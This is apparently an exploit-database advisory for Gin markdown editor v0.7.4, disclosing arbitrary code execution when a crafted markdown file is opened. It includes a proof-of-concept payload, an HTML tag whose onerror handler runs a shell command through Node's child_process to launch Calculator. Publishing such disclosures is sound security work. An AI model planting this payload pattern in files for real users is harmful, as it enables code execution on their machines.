Exploits / Vulnerability Discovered : 2023-05-23 |
Type : local |
Platform : multiple
This exploit / vulnerability Gin markdown editor v0.7.4 (electron) arbitrary code execution is for educational purposes only and if it is used you will do on your own risk!
Product & Service Introduction: Javascript Markdown editor for Mac
Technical Details & Description:
A vulnerability was discovered on Gin markdown editor v0.7.4 allowing a user to execute arbitrary code by opening a specially crafted file.
Proof of Concept (PoC):
Arbitrary code execution:
Create a markdown file (.md) in any text editor and write the following payload:
<video><source onerror"alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());">
Opening the file in Gin will auto execute the Calculator application.